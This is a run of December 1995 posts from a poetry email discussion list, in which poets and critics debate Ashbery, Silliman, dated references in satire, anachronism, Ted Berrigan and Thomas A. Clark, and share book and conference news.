Oh, Pound was fantastic. I mean because of Pound, I was in touch with Creely, I was in touch with Olson, I was in touch with Cid Corman. None of us knew each other and we were all writing each other letters, and all this comes through that little center down there in St. Elizabeth's mental hospital in Washington, DC. You know, "Write Creeley, chicken farmer up in New Hampshire . . ."

--Paul Blackburn

↑ Index

351. **Chris Stroffolino**
Re: Can You Hear, Bird
Wed 20 Dec 1995

Dear Rod and Susan-- Having been a fan of Ashbery's (if not perhaps a TRIBE of John) for a long time but being disappointed with his previous two books---HOTEL L and AND THE STARS WERE SHINING--I have told myself that I will not buy the new book (at least until it comes out into paperback), but I am willing to be convinced otherwise---So, perhaps you could quote in full this poem GLADYS PALMER because I am curious what the price tags are afraid of, or if one has to BE a price tag to be afraid, and that therefore HAwaii is a haven away from COMMODITY and FEAR in this poem. Or maybe the price tags that are afraid LIVE in Hawaii--unlike in the unexotic mainland where respectable pricetags would never show their fear--much less reveal their 10 foot cockroaches crawling out of lava.....chris s.

↑ Index

352. **Ron Silliman**
Wanna date?
Wed 20 Dec 1995

Working through the K section of The Alphabet, which is the "next paragraph" of Ketjak (the last one having been completed 21 years ago), I've been painfully, tho perversely gleefully, aware of just how much any level of referentiality to that shared world of media culture in particular is bound forever in such contexts, like puka shell necklaces for men or Nehru jackets (or Nehru himself for that matter).

But the idea that work should *not* date seems problematic to me. That is precisely how the cultural dominant exercises its control over which works should "last" and which "wither and die." Rather, one ought to read them as artifacts.

I totally distrust the "timeless." My obsolete rose is not Williams' let alone that of the Greeks.

Ron Silliman
[redacted]

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353. **Ron Silliman**
Pope Charles, etc.
Wed 20 Dec 1995

I've always thought of Charles Bernstein as the Alexander Pope of our time, and think of this as a positive comment.

In addition to Pope's foregrounding of satire as a mode for major poetry, I think that a case can also be made for Pope as the first true prose poet in English (ahead, say, of Blake, let alone Tagore). His use of language is so distinctly SYNtactic, rather than hypotactic, that he (Pope, not Charles) seems the direct ancestor of Ashbery. (OK, maybe Charles is the ancestor of Ashes also.)

Ron Silliman
[redacted]

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354. **Maria Damon**
Re: The Kink of Comedy
Wed 20 Dec 1995

---

if i were you i'd teach lenny bruce, lenny bruce and more lenny bruce. also, Studies in American Humor or someting like that has a special issue on humor

in american poetry --1992 or something. it's not an especially distinguished mag, but yours truly has a small article on jack spicer's "subaltern wit" therein.
md

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355. **Patrick Phillips**
Re: Wanna date?
Wed 20 Dec 1995

Seems too that there is the obverse - that we also come to expect a constant overturn, that we want to know flowers by their edges. Last weekend sitting in the Waldrop's house with a crew of youngish poets - Jennifer Moxley, Gale Nelson, Mark McMorris, and youngish critics - Steve Evans - talking about what happens to they who "stabilize" or hone their work (Michael Palmer was brought up) as opposed to they who try to break with their most recent move (Bataille came up on this side,though just in passing - we here in Prov. don't necessarily fill snowy nights with talk of B.).

What's interesting now is that I cannot think of a single poet who I would say continually disrupted the tack of their work. Perhaps this is because of another effect of "the cultural dominant" as it is played in time. That each poet (and this came up in the midst of scotch, wine and smokes) even in disruption, plays out a continuity - familiar patterns of discontinuity. This perhaps may be how in one respect the most experimental become dated - moving from an inherent breakage in all respects (Stein) to a determining factor in the history of such breakages (Stein).

By the way, Rosmarie serves up a mean King's Curry.

on the 20th Ron Silliman wrote --
>
>But the idea that work should *not* date seems problematic to me. That
>is precisely how the cultural dominant exercises its control over which
>works should "last" and which "wither and die." Rather, one ought to
>read them as artifacts.
>
>I totally distrust the "timeless." My obsolete rose is not Williams'
>let alone that of the Greeks.
>
>Ron Silliman
>[redacted]

↑ Index

356. Chris Stroffolino
Re: The Kink of Comedy
Wed 20 Dec 1995

---

well, since maria's bringing up people like LENNY BRUCE--- (to which one can also add certain George Carlin and Richard Pryor-- ah the good old days when stand-up was politically "left"!--- even Woody Allen's Stand up Comic album--- I like to tell my students that the reason Andrew Dice Clay never gets arrested for obscenity while Lenny did is because obscenity in the service of right-wing upper class interests is OKAY--- see Howard Stern (who I still blame for PAtaki's election, btw)--- who is about as funny as Gerald Stern (i.e,. NOT VERY)--- so, also let's bring up BOB DYLAN's 115th DREAM for instance too as classic comedy--- as "timeless" comedy (smile ron smile) and maybe Jeff Hansen or someone could help me start up a collection so we can BUY A POWDERED ALEX POPE STYLE WHIG FOR MR> BERNY.... And what ever happened to the great and noble profession of FOOLES----of FOOLES UPON FOOLES (the other book written by the man who wrote A NEST OF NINNIES---the ancestor of ashes & sky & monty python) -----here's hoping the eagle picks YOUR eye too.cs.

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357. Libbie Rifkin
Ted Berrigan
Wed 20 Dec 1995

I'm beginning work on a dissertation chapter on Ted Berrigan and Frank O'Hara and wondering if anyone out there is currently working on Berrigan. Beyond the "Nice to See You" homage collection, a great short piece by Barrett Watten and an article by Joel Lewis, I haven't found much writing on Berrigan's poetry. "Nice to See You" is composed mostly of memoirs (Charles Berstein's "Writing Against the Body" is a notable exception). The fact that memoir is still the dominant mode of commentary on these two poets, and perhaps the "New York School" in general, seems relevant in itself. But what about the poetry?

Has Berrigan already been discussed in this forum? I'm new to the list and would like to hear what people are doing.

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358. Jonathan Brannen
Thomas A. Clark
Wed 20 Dec 1995

Thomas A. Clark's work deserves support. His Tormentil and Bleached Bones published by Polygn Press in 1993 is lovely work and is probably still available from SPD. Among his other books which may also still be available, I would highly recommend Some Particualrs (Jargon Press, 1971), Ways Through Bracken (Jargon Press) and Vagrant Definitions (Membrane Press). His other books are good as well, but I suspect they can no longer be found. The broadside that Charles Alexander printed for Clark's Woodland Pattern reading is beautifully printed and its design is eloquent advocacy for Clark's writing.

Jonathan Brannen

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359. Mark Wallace
anachronism
Wed 20 Dec 1995

Dear Chris and others:

Sorry it's taking me so long to respond--no offense intended, I'm just on e-mail about once a week these days.

I'm by no means an expert on the history of "conscious anachronism" in avant garde practice, so I'd love someone to fill this in, but certainly a main proponent of such a possibility was Robert Duncan. I remember transcribing a tape of a Duncan lecture for Robert Bertholf (don't think it ever appeared in print, but I could be wrong) in which Duncan talks about the "thee" and "thou" in his poems, how they are written off as the heights of pretension by some, but that they actually are not that far back in the past, and offer variations on possible intimate addresses that our own "contemporary" language has lost--along, of course, with the religious implications. So a "conscious anachronism" would be pointing out that the present does not represent some clear linear movement forward, but is as much a forgetting of past potential as it is any realizing of the potential of the past. And I think I see some poets like Pam Rehm, Liz Willis, and some others talking about that process of forgetting and trying to make us remember what's hovering around in there... Of course, anyone who knows my poetry probably knows that this is not a thing I'm doing myself, but I think some pretty intersting things are going on with it.

It's funny, and totally unsurprising by the way, that the most questions I've had about my article have to do with the short characterizations of emerging avant garde writers that I list near the end of that piece. I tried to suggest, of course,

that such characterizations are by definition shorthand, and can't do full justice to the work in question. In any case, if there's anybody out there who I mentioned in a way that to them seems not quite to fit, I'd be interested in hearing from you about how, in such a short mention, to refer to your work more accurately...

mark wallace

P.S. I'll be able to respond in about another week...

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360. **Charles Smith**
Re: Thomas A. Clark
Wed 20 Dec 1995

I wanted to second Charles Alexander's comment:

<<Just a further note of support for the work of Thomas A. Clark. Madder Lake,
published in 1981 by Coach House, is particularly recommended. >>

Great stuff, close focus on the natural world & a precise ear. It's the only book of Clark's I own, "Seen through the press by BP Nichol" with each poem printed recto only. Who cd afford that today?

Anyone know if he's still writing or publishing today?

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361. **Landers**
Re: POETICS Digest - 18 Dec 1995 to 19 Dec 1995
Wed 20 Dec 1995

Michael Boughn writes: (in response to me)
>Why is everyone so anxious to bind up the world with their unforgiving
>moralistic judgements (that's NOT funny and you're going to poet's
>hell for your bad taste), masquerading plain old bad blood behind a
>facade of aesthetic and political theory?

Michael,

That's an important question that I certainly have put to myself: does bad blood taint my appreciation of good poetry? No. If that were the case, how could I read Eshelman? And I have to admit, that guy's one of the best, even if ... (but let's not go that way.)

I don't see Dorn as the Pope to Olson's Milton at all. He's just a famous student of Charles Olson, a poet, his preferred style is closer to Creeley, but not as

good, IMO. Why continue the anachronistic parallels? Pound took back what he said to Beckett.

As to classics: Juvenal *does* give me the same problems in humor. I'm sure he's only read by Latin scholars for his rhetoric. There's not much poetry or humor there.

Pete Landers
[redacted]

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362. **Jordan Davis**
Re: Ted Berrigan
Wed 20 Dec 1995

Do you know Ron Padgett's book "Ted" or "Late Returns" by Tom Clark? (oops, underlines for quotes there) Ted's a curious memoir. Eccentric bibliography and cover shot.

Jordan Davis

↑ Index

363. **Chris Stroffolino**
Re: POETICS Digest - 18 Dec 1995 to 19 Dec 1995
Wed 20 Dec 1995

Peter Landers---
What DID Pound say to Beckett....
just curious (and where is this? In Kenner, who's written about both?)
chris stroffolino

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364. **Chris Stroffolino**
Re: Wanna date?
Wed 20 Dec 1995

Dear Pat Phillips'-- Great post....You seem to tie several threads together here: the question of anachronism (should a poet break with what s/he perceives to be a CULTURAL past) as well of individual style (should a poet break with what s/he perceives to be a personal HABIT--which Beckett calls "the great deadener" or something). Of course, it's not just a question of BREAKING with the CULTURAL past as such, for this may be something not available to certain poets in the first place. Poets who think it STARTED with Bernstein, for instance (as an ex-Providence poet told me recently, and for the

sake of argument we may assume such "beings" exist). The individual style question is more interesting to me right now. We're told of POUND's phases, of Yeats', of Stein's, and the legiti- macy granted to studies of poets (and visual artists)' phases has been spoken about by Richard Schiff in ways that could be expanded on.... There is something provocative in your (seeming) claim that such PHASES are not engaged in as much today. Certainly, I don't recognize much difference between early Bruce Andrews and more recent, for instance-- and, value judgments aside, I wonder if STYLISTIC CONSISTENCY is held up as a value by the ART MARKET more than RESTLESS EXPERIMENTATION is. It seems an open question, and one perhaps beyond intent. For it seems that a poet may very much be trying to make a radical break with his or her own past but nonetheless still write work that is Moxleyesque or Phillipsesque whatever, in the eyes of others. And the converse and/or obverse may be true. One may be trying to be consistent and end up changing despite oneself. Of course, one may strife for consistency and be applauded for "the grace to live as variously as possible" so the question of value judgment and reception and all that gets potentially entangled in these questions. Yet, the point you make about DISRUPTION as in some ways the norm is tricky. For if we assume that Stein's THREE LIVES and STANZAS IN MEDITATIONS are made more similar to each other if read in the light of the writer's urge to disrupt her own investment in stylistic habits---if it becomes A HABIT TO BREAK HABITS (i'm quoting one of my poems here, btw)--as it SEEMS you're arguing, nonetheless this is still a different kind of habit than the one you recognize in Palmeri. But perhaps that's because I'm interested in dweeling on differences against a backdrop of similarity (just as at other times one may want to show the similarities between L poets and Romantics, in part because such similarities are denied). Chris

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365. **Patrick Phillips**

cheap date (yesterday)

Thu 21 Dec 1995

Chris, I'm too cheap a date for you... Just to respond, I think that the breakages and disruptions aren't from the cultural past as much, but of it. That one may disrupt the context of a social history and still be very much in it - providing contour... and too the phase thing is interesting - Vallejo's phases, Holderlin's phases, Miles Davis's phases, Jimmy Hoffa's phases. Matisse came up in our conversation as one with a long wave length - some people perform as moons pocked slowly - by chronotrope (like Matisse, in another time) and some more

fleeting - by heliotrope (that 12 year old boy shot in a Palisades Parkway store yesterday).

Pat

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366. Landers
Pound/Joyce anecdote
Thu 21 Dec 1995

Chris Stroffolino asked:
> What DID Pound say to Beckett....
> just curious (and where is this? In Kenner, who's written about both?)

I think I heard this from an Irish actor, so it could be blarney... I can't remember his name. Can anyone else validate this anecdote?

Pound went to visit Joyce and there were several other young men there fawning over him. Pound had no use for sycophancy, so he walked up to one of the fellas and said, "I suppose you're writing the next Divine Comedy?" Many years later Pound saw "Waiting for Godot" and after the show went backstage to meet this amazing playwright. Beckett reminded him of the harsh quip and Pound apologized.

The point, for me, is: Joyce isn't the tw.c. Homer, Pound isn't the tw.c. Dante, CO's not Milton. This kind of anachonistic parallelism only serves to lessen the individual's worth. I don't think Joyce sought the comparison between himself and Homer so much as between Bloom and Odyseus.

Pete Landers
[redacted]

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367. Gabrielle Welford
T/Q: Contemporary Poetry (fwd)
Thu 21 Dec 1995

This request came through TAMLIT, and I thought someones on this list might want to suggest somethings. I asked the sender, and he/she's interestd in hearing from you. Gab.

Subject: Contemporary Poetry Suggestions?

Hello all--

A professor here at Kansas State has asked me to help him compile a list of about thirty contemporary (publishing during last 20 years) poets for a class he

is teaching this spring. While giving some thought to my suggestions, I thought it might be interesting to get some input from the rest of you on the list. If you were going to suggest 5 poets, who would they be? Which collection?

My apologies to anyone who feels this question is a little to akin to those found in various Usenet groups, but I am interested in what folks from other parts of the country are reading/valuing/teaching in contemporary poetry. I trust that if Randy feels this request is too superficial he will prevent it from being passed along to the rest of the group. The class, ENGL 340, is an undergraduate course, simply titled "Poetry."

I look forward to hearing your input and suggestions, assuming you see this query. Thanks a bunch.

Greg Dyer

+------ Greg Dyer ** [redacted] ** http://www.ksu.edu/~gad ------+ |
| | "This is the time of tension between dying and birth | |
The place of solitude where three dreams cross | | Between
blue rocks" | |
| +---------- T.S. Eliot ** "Ash-Wednesday ----------+

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368. **Charles Smith**
Re: Thomas A Clark
Thu 21 Dec 1995

<<>with each poem printed recto only. Who cd afford that today?

at that time, Coach House was both a publisher and a printshop (collective, i think); so many of the books of that era, clark's & b.p.'s among, were able to do some fairly extravegant productions.

lbd>>

yes, & paper was a whole lot cheaper!

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369. **cris cheek**
Re: SPT newletter reviews
Thu 21 Dec 1995

Can't imagine that you'd be into this but I am keen to review from this pond out perspective.I could e-copy to speed process of incorporating response.

IF you like that idea, my preferences would be for any (or all , or combinations) of the following:

Nathaniel Mackey, Outlantish
Ron Silliman, Demo to Ink
Karen Mac Cormack, Quirks & Quillets
bp Nichol, Art Facts: A Book of Contexts
Jackson Mac Low, French Sonnets
Charles Alexander, Hopeful Buildings

Gerrit Lansing, Heavenly Tree/ Soluble Forest
Dodie Bellamy/Sam D'Allesandro, Real
Edward Foster, ed., Postmodern Poetry
Jack Spicer, The Tower of Babel

twould be my greatest pleasure to delve

love and love to you
cris

(out of town 'til just after new year - welsh mountains - actually Devil's Bridge and some readings in Hereford / Norwich) - hope you're all / both well

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370. **Schuchat**
Re: Ted Berrigan
Thu 21 Dec 1995

Particularly if your chapter will deal with the relation between Berrigan's and O'Hara's poetry, might I (modestly) recommend the interview with Berrigan, on O'Hara's poetry, which is included in the Berkson/LeSueur HOMAGE TO FRANK O'HARA (either as Big Sky 11/12 or republished by Creative Arts Press in SF). What Berrigan has to say about O'Hara's poetry in that interview is also illuminating re his own works. There is a fair amount of technical criticism as well as some "moral" assessment.

In general, you may find interviews with Berrigan (e.g., the Talking in Tranquility collection) to be most useful. Berrigan loved to talk about how his poetry was put together. Most reviews of his work, on the other hand, were negative and/or defensive in their negativism. (Marjorie Perloff, why haven't you reviewed the Penguin Selected Berrigan for The New Republic?)

I think of Ted Berrigan as very much a formalist. His core technique of appropriation and collage is consistent, even when you don't expect it (for example, he once pointed out that he got the title for "Words For Love" by taking the titles of Creeley's first two Scribners books, which were on the desk when he was writing the poem) but he runs its through a tremendous number of variations and changes. "Who owns words" as he quoted Tom Clark, in an attempt to appropriate that very phrase.

Also, Berrigan's poetry seems to me very different from O'Hara's, in method and tone. As personalities or figures in a landscape, there may be more similarities, although you might as profitably look to Apollinaire or Pound as the model. Berrigan's poetry, as opposed to his persona, is not really about personality in the way that O'Hara's is.

I have tried more than once to write about Ted's poetry, never successfully.

Simon Schuchat

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371. Ken Edwards
Thomas A Clark
Thu 21 Dec 1995

Good to see appreciations of Thomas A Clark on this list. So far as I know, he's still writing, and running Moschatel Press, the address being

Iverna Cottage
Rockness Hill
Nailsworth
Gloucestershire
UK

should anyone want to get in touch with his latest output. A good introduction to his work for those who don't know it would be the three-fer anthology _The Tempers of Hazard_ published by Paladin (a HarperCollins imprint) in 1993. But HarperCollins have junked their briefly interesting poetry list, so it's probably already out of print. The disadvantage of this selection is that you lose the beauty (there's no other word for it) of the original typesetting; the advantage is you also get chunky selections of Chris Torrance and the inestimable Barry MacSweeney.

Ken

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372. Dick Higgins
Re: anachronism
Thu 21 Dec 1995

> *Dear Chris and others:*
>
> *Sorry it's taking me so long to respond--no offense intended, I'm just on e-mail about once a week these days.*
>
> *I'm by no means an expert on the history of "conscious*

> *anachronism" in avant garde practice, so I'd love someone to fill this in, but certainly a main proponent of such a possibility was Robert Duncan. I remember transcribing a tape of a Duncan lecture for Robert Bertholf (don't think it ever appeared in print, but I could be wrong) in which Duncan talks about the "thee" and "thou" in his poems, how they are written off as the heights of pretension by some, but that they actually are not that far back in the past, and offer variations on possible intimate addresses that our own "contemporary" language has lost--along, of course, with the religious implications. So a "conscious anachronism" would be pointing out that the present does not represent some clear linear movement forward, but is as much a forgetting of past potential as it is any realizing of the potential of the past. And I think I see some poets like Pam Rehm, Liz Willis, and some others talking about that process of forgetting and trying to make us remember what's hovering around in there... Of course, anyone who knows my poetry probably knows that this is not a thing I'm doing myself, but I think some pretty intersting things are going on with it.*
>
> *It's funny, and totally unsurprising by the way, that the most questions I've had about my article have to do with the short characterizations of emerging avant garde writers that I list near the end of that piece. I tried to suggest, of course, that such characterizations are by definition shorthand, and can't do full justice to the work in question. In any case, if there's anybody out there who I mentioned in a way that to them seems not quite to fit, I'd be interested in hearing from you about how, in such a short mention, to refer to your work more accurately...*
>
> *mark wallace*
>
> *P.S. I'll be able to respond in about another week...*

There are zillions of ways to use anachronisms in innovative wrioting. My newest piece designed for the electronic transmission uses the three lines "An Ark bearing the Name of Columbus/Sails through the Skies/Casting a Shadow on the New World." I set its three lines into three parallel arcs, and then set the whole into the same black letter type face used in the Gutenberg Bible. Hopefully using the archaic type evokes the period of Columbus's cruise and helps drive home the meaning of the piece, that Columbus's discovery was a mixed blessing at the very least.

Have a good week--

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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373. **Michael Boughn**
More Slinger
Thu 21 Dec 1995

> Michael,
>
> I don't see Dorn as the Pope to Olson's Milton at all. He's just a
> famous student of Charles Olson, a poet, his preferred style is closer
> to Creeley, but not as good, IMO. Why continue the anachronistic
> parallels? Pound took back what he said to Beckett.
>
> As to classics: Juvenal *does* give me the same problems in humor. I'm
> sure he's only read by Latin scholars for his rhetoric. There's not
> much poetry or humor there.
>
> Pete Landers
> [redacted]
>

Dear Pete Landers:

I wasn't just pulling it out of the air. Those who know Dorn know that at a time when others were looking to the Romantics (Blake, the lyric) and to the epic tradition as points of departure for their thinking about poetry, and the practice of their craft, Dorn turned to the 18th century and to the satiric tradition. Which makes a lot of sense for many reasons, not the least of which is what do you write in Olson's shadow if you don't want to throw out Olson. Maybe you think he failed, I don't know. We could certainly discuss that. But I do think any reading of Slinger that ignores its positioning of itself in the tradition of the mock-heroic is going to miss a lot of interesting stuff that's going on in the poem.

The problem with dated references in satire is not limited to Slinger. Try teaching Gulliver's Travels, or Mac Flecknoe, or Pope's Epistles. Or just try reading them. Satire is necessarily tied to observations of the current social and political scenes. Without the footnotes, few of us would know that when Gulliver pisses on the Lilliputian palace to put out a fire, Swift is making fun of Queen Ann.

I'm sorry to hear that you don't care for Juvenal. But that has little effect on the fact that he pioneered a specific mode of satiric address, a specific rhetoric, that carries his name to this day. While Charles Bernstein is often very funny,

I'm not at all sure the Henny Youngman, NY burlesque school of humor is truly satiric. But I could be wrong about that.

Best,
Mike
[redacted]

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374. **David Kellogg**
Re: Pound/Joyce anecdote
Thu 21 Dec 1995

On Thu, 21 Dec 1995, Landers wrote:

> *The point, for me, is: Joyce isn't the tw.c. Homer, Pound isn't the tw.c. Dante, CO's not Milton. This kind of anachonistic parallelism only serves to lessen the individual's worth. I don't think Joyce sought the comparison between himself and Homer so much as between Bloom and Odyseus.*

I would argue in fact that such anachronistic paralellism is SPOOFED by Joyce IN Ulysses, as Stephen and Bloom keep writing themselves into various plots (Stephen into Hamlet, primarily, Bloom into lots of things, the soft-porn *Sweets of Sin*). The Bloom/Odysseus parallel is so overdone and arbitrary that it makes fun of itself constantly.

Cheers,
David
~~~
~~~

You've raised a number of issues that I've thought about for quite some time. Thanks for the fine post. Chris' response covered much of what I wanted to say--thanks, Chris. I am quite interested in an approach to writing that is self-interrupting, that deliberately avoids the establishment of a style, or signature, or voice. As you've suggested, Charles Bernstein's work is pertinent, especially since Charles deliberately designs books (well, his large books) that do, poem by poem, move by a principle of difference. Even so, as I argued in that APR piece, there ARE recognizably CB sounds, moves, interruptions, even layouts. Patrick wrote that he could not think of a single poet who "continually disrupted the tack of their work" and that "even in disruption [each poet] plays out a continuity--familiar patterns of continuity." Perhaps. But even so, the persistent attempt at self-disruption is significant, I think. It seems to me that self-disruption has, in part, to do with valuing writing as a fundamentally heuristic activity (rather than conceiving of poetry-making as something that tends toward a "perfected" product, or toward an already known mode of the beautiful). In my own writing, I have tried to explore such issues--Doublespace, for example, presents an array of deliberately conflicting modes of writing; so too does my forthcoming book (Three of Ten) from Chax. I tend to work by finding a mode of writing and inhabiting that mode for about a year; then, I do something else. Chris' post raises the related issue of "phases" of writing, which may become a way to tame or conceptualize (too neatly?) a less tidy process of writing and thinking. Yes, Chris, Stein's "urge to disrupt her own investment in stylistic habits--if it becomes A HABIT TO BREAK HABITS" can become its own identifying feature. Though I would also argue that the differences and the particularities of the disruptions (and the newly chosen paths/modes themselves) are significant, are of value.

In critical writing on L Poetry, there often is the tendency to write about a community of writers, a set of group-based assumptions. And Ron and others have argued for the value of writing and thinking about communities of poets (rather than an H Bloom-like story of heroic individuals...). But, as the end of Chris' post suggests, it is also fruitful to think of individual writers, for in fact Ron's work is distinguishable from Lyn Hejinian's, and hers from Charles', and his from Susan Howe's, etc. So the individualistic, and even the (ugh) "personal," remains as a persistent trace? I think about this in relation to seemingly less personal, or depersonalized modes of writing. Say, Cage's chance operations. (And, by the way, Joan Retallack's new collection of Cage-conversations is fantastic--I'm part way through it--an engaging read, covering many of the topics of these posts--Joan does a superb job, as an EQUAL in the conversations.) Cage's example--and I think that many of his poems are decidedly Cage-identifiable (even if they consist of arrangements of the writings of others). Perhaps the "personal" or the "individualistic" might be thought of,

as in mathematical terms, as a limit--as, in a graph, an asymptote. That is, a limit toward which some kinds of writing moves (but does not achieve). Cage writes toward a writing free of self, but that self does not finally disappear in the process....

Or, we could think about heteronymous production--Pessoa, etc. Which Chris might liken to "phases." Perhaps.

At any rate, Chris and Patrick, thanks for the stimulating posts. I'd enjoy hearing more from you on these issues.

Hank Lazer

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376. **kathryne**
Re: total quality mangled
Thu 21 Dec 1995

This is old news: a response to a December 5 posting about prisons and privitization and libraries.

There's lots to say on this clot of subjects, but I do want to make just the slightest intervention. I think that teaching in prisons, while possibly impossible for little white ladies (HA!!--on the last,anyway) like myself, presents interesting possibilities. The whole line of writing and revolution that held together the last Frankfurt School belief in the revolutionary potential of the marginalized and bound the Black Panther Party and others to emancipatory literacy wound through prison libraries. I am thinking, in the front of my head, of Herbert Marcuse, Angela Davis, George Jackson, and Huey P. Newton. One would have also to remember both Malcolm X and, the rather less jailed letter writer, Martin Luther King. THE THING IS TO GET PEOPLE READING, everywhere and at all times. Not to sound too Pollyanna, but where is the young punk/hunk/junkie in prison who will write a piece of cultural critique as strong as "Lazarus Come Forth"? Eldridge Cleaver was only the tip of an On Ice potential. Prisons are horrible places, but horrors, too, can be turned against atrocity. It takes a whole lot, however, to keep hope alive and turn hatred toward its proper source and object. Nevertheless, one cannot fail to be encouraged by the national prison protests, right after the Million Man March, against the different treatment of poor (mostly Black) crack users and Cocaine kings. The prison communications systems and libraries might yet hold the hope of revolution that too many have abandoned. Malcolm X and others thought so. ANYWAY, sorry to be late to the list on this topic, but my computer was jammed, my mind was manacled with student work.

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377. **Bill Luoma**
Re: cheap date (yesterday)
Thu 21 Dec 1995

Pat,

chronotrope?? like say stephen rodefer inundating himself with the city in 4 lecturns and in any work after that no specific pop cult refs appear? do you just get sick of something after being hit by the nth meteor?

and then what makes you heliotrope?

Bill

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378. **Peter Larkin**
Thomas A Clark
Thu 21 Dec 1995

Having been indulging in universal deletion recently, I awake to find some attention being paid to Thomas A Clark. I don't know why, but think it's the right idea. Prest Roots has one of his titles currently available: Dwellings & Habitations, illustrated by Kate Whiteford (1993 1 871237106).stlg6.00 plus postage outside UK. If you can pay by stlg bank order, orders can be sent to me direct on email. If not, Paul Green will deal with dollar orders.

I hope to call in on Tom tomorrow, by the way, so can tell him of his new electronic fame.

PeterPeter Larkin Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 524475 Fax: 01203 524211
Email: [redacted]

↑ Index

379. **Michael Boughn**
Re: Pound/Joyce anecdote
Thu 21 Dec 1995

> *The point, for me, is: Joyce isn't the tw.c. Homer, Pound isn't the tw.c. Dante, CO's not Milton. This kind of anachonistic parallelism only serves to lessen the individual's worth. I don't think Joyce sought the comparison between himself and Homer so much as between Bloom and Odyseus.*

Of course Pound isn't the etc., nor Olson. Both, however, proposed to write epics, as a number of other writers did before them. What happens when you enter into that relation as a writer? Are you saying that knowing the

conventions of the epic is irrelevant to an understanding of The Cantos or Maximus? Or, for that matter, the Aeneid or Paradise Lost? Isn't the handling of those conventions a crucial issue in terms of the writer's craft? And in terms of the poem's measure? As for lessening the individual's worth, I have no idea what that means. My experience is that writing devours the illusion of the individual's worth.

Mike
[redacted]

↑ Index

380. Jordan Davis
helio digress
Thu 21 Dec 1995

I was wearing a heliotrope shirt yesterday
I don't know if I'd say it was a beautiful shirt
But I liked the color
As far as constantly interrupting yourself goes
Could we fit say J Schuyler in the discussion a second?
Constantly interrupting yourself in a way that still
Sort of makes concessions to being socially accessible
Equals to my ears digressions and does anybody read
J.D. Salinger anymore in any context other than
Composition-teaching? That whole "digress!" passage
Gave me nightmares when I was growing up. It seemed very dated
To me when I read it in um middle school but now looking at it
It's pretty funny. Like Bugs Bunny. Or Howard Stern.
And to address briefly the idea of a de-authored voice
I'd like to mention the unknown work of Stephen Malmude
Whose poems in quatrains are entirely made of found materials
He writes maybe two or three poems a year
And they're smashing
Happy seasonal vacation
Jordan

↑ Index

381. Kevin Killian
Small Press Traffic reviews
Thu 21 Dec 1995

This is Dodie Bellamy speaking, the "db" of [redacted]. I'd like to thank the poetics listserv for the enthusiastic response I've received to my request for book

reviews. I've got more than enough people for our Chax Press/Talisman House issue of Small Press Traffic's newsletter, which I hope to have out in March. Due to the generosity of Loss Glazier, the newsletter will also be posted at the Electronic Poetry Center.

We'll be doing another newsletter featuring O-Books, Kelsey Street, and Hard Press. When I get that list together, I'll post it on the listserv and again ask for reviewers.

Thanks again.

Dodie

↑ Index

382. Dick Higgins
MEXSICAN VIS- & SPOUNDPOETRY CONFERENCE IN JANUARY
Thu 21 Dec 1995

=46or anyone who can manage to escape from Hayseeds' Heaven in mid-January, there's one whale of a visual and sound poetry conference shaping up at Mexico City from 10. to 21. January, exhbibition, etc. Contact C=E9sar Espinosa at [52] (5) [redacted] for more details. It is called POESIAVIXUAL MEXICO INTERNACIONAL. He reads English but does not speak it easily, so best to speak in Spanish or fax him in English. To fax him, call the numberabove, when you hearan answer say "Fax tone please," and when you hear the fax tone, transmit.

Hope to see a good many Poetics folk there-

Sincerely

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

383. Patrick Phillips
Re: Wanna date?
Thu 21 Dec 1995

Hank, I agree that, as you say, "the persistent attempt at self-disruption is significant." But I also would say that the operative here is "persistent...distruption" - the present tense - and I'd say it's damn near

impossible to eke out a history in the present tense, other than a personal history. After all I think history is a troubled contextualization socialized. On the other hand we have no choice but to try, and for me therein lies the rub. Or to use a different form of Chris's "phase," we are perpetually slightly out of phase. Somewhere in the middle between Stein's history of each one and history of every one. Wish I could offer more, but I've got to get some Thai food in the still-blowing snow.

I will say Hank that I distinctly remember reading Doublespace in a rose garden somewhere between Piedmont avenue and Grand(?) in Oakland several years ago and have a clear memory now of feeling as though the garden was a mirror image of itself. Dunno, but there's some kinda context.

Pat

↑ Index

384. Patrick Phillips
Re: cheap date (yesterday)
Thu 21 Dec 1995

Bill

Answers:

I hear that the smallest fleck of space trash can gouge a hole in an n-million dollar shuttle.

and

blazes (a.k. 47 poets at a slam)

Pat

↑ Index

385. Ron Silliman
Great Books for the holidays
Fri 22 Dec 1995

Two great new books for Kwaanza et al...

The Said Lands, Islands, and Premises, by Mary Margaret Sloan (aka Margy), from CHAX, $11.00 (says so on the UPC!)

Keys to the Caverns, by Clark Coolidge, Zasterle Press (Manuel isn't into that UPC stuff, this being a run of just 300--one of the largest pieces Brito has printed, by the way, beautifully product perfect bound book)

Both soon, if not yet, available from SPD.

Ron Silliman
[redacted]

↑ Index

386. **Hank Lazer**
Re: MLA - UA Press
Fri 22 Dec 1995

I hereby invite Poetics list-ers who will be at MLA to stop by the University of Alabama Press Booth (#1117, open 9-6 Dec 28 & 29, 9-12 Dec 30).

Person-ing the booth will be Nicole Mitchell who was recently named the new Director of the UA Press. I have worked with Nicole for a number of years. She is wonderful, and quite interested in publishing criticism on innovative poetries. She previously served as Acquisitions Editor for UA Press. Nicole was extremely helpful in publishing John Taggart's _Songs of Degrees_ (collection of essays), Susan Schultz's _Tribe of John_ (ed., essays on Ashbery), Bruce Commens book on modern & postmodern poetries (including fine work on Zukofsky). These books will be on display at MLA. Nicole has also been instrumental in Mark Scroggins' forthcoming book on Zukofsky. I've also urged Nicole to attend the U of California Press party for Pierre & Jerry's (not Ben & Jerry's) big book. If you are currently working on a manuscript, or have a project in mind, I urge you to go by and talk to Nicole. Tell her Hank sent you....

Though I will not be at MLA, I wish the conventioneers a happy new year and a bearable convention. Give Pierre & Jerry's book its properly glorious celebration!

Hank Lazer

↑ Index

387. **Hank Lazer**
Re: Wanna date?
Fri 22 Dec 1995

Pat, et al,
Thanks for the kind words on Doublespace.

Pat's new book, _Ruin_, is quite fine. Beautiful cover, small book that like the old Pocket Poets series fits in a back pocket, 76 pages of engaging writing. Apropos of recent discussions of self-erasure and self-interruption, a few passages from _Ruin_:

kin, an unquestionable posture.
gesture for sap, stark.
chased out midnight.
swerving oncoming traffic.

. . .

holding your tongue. gifted.
thought as a series of bumps--
(creatures in their element).
to have been told.

. . .

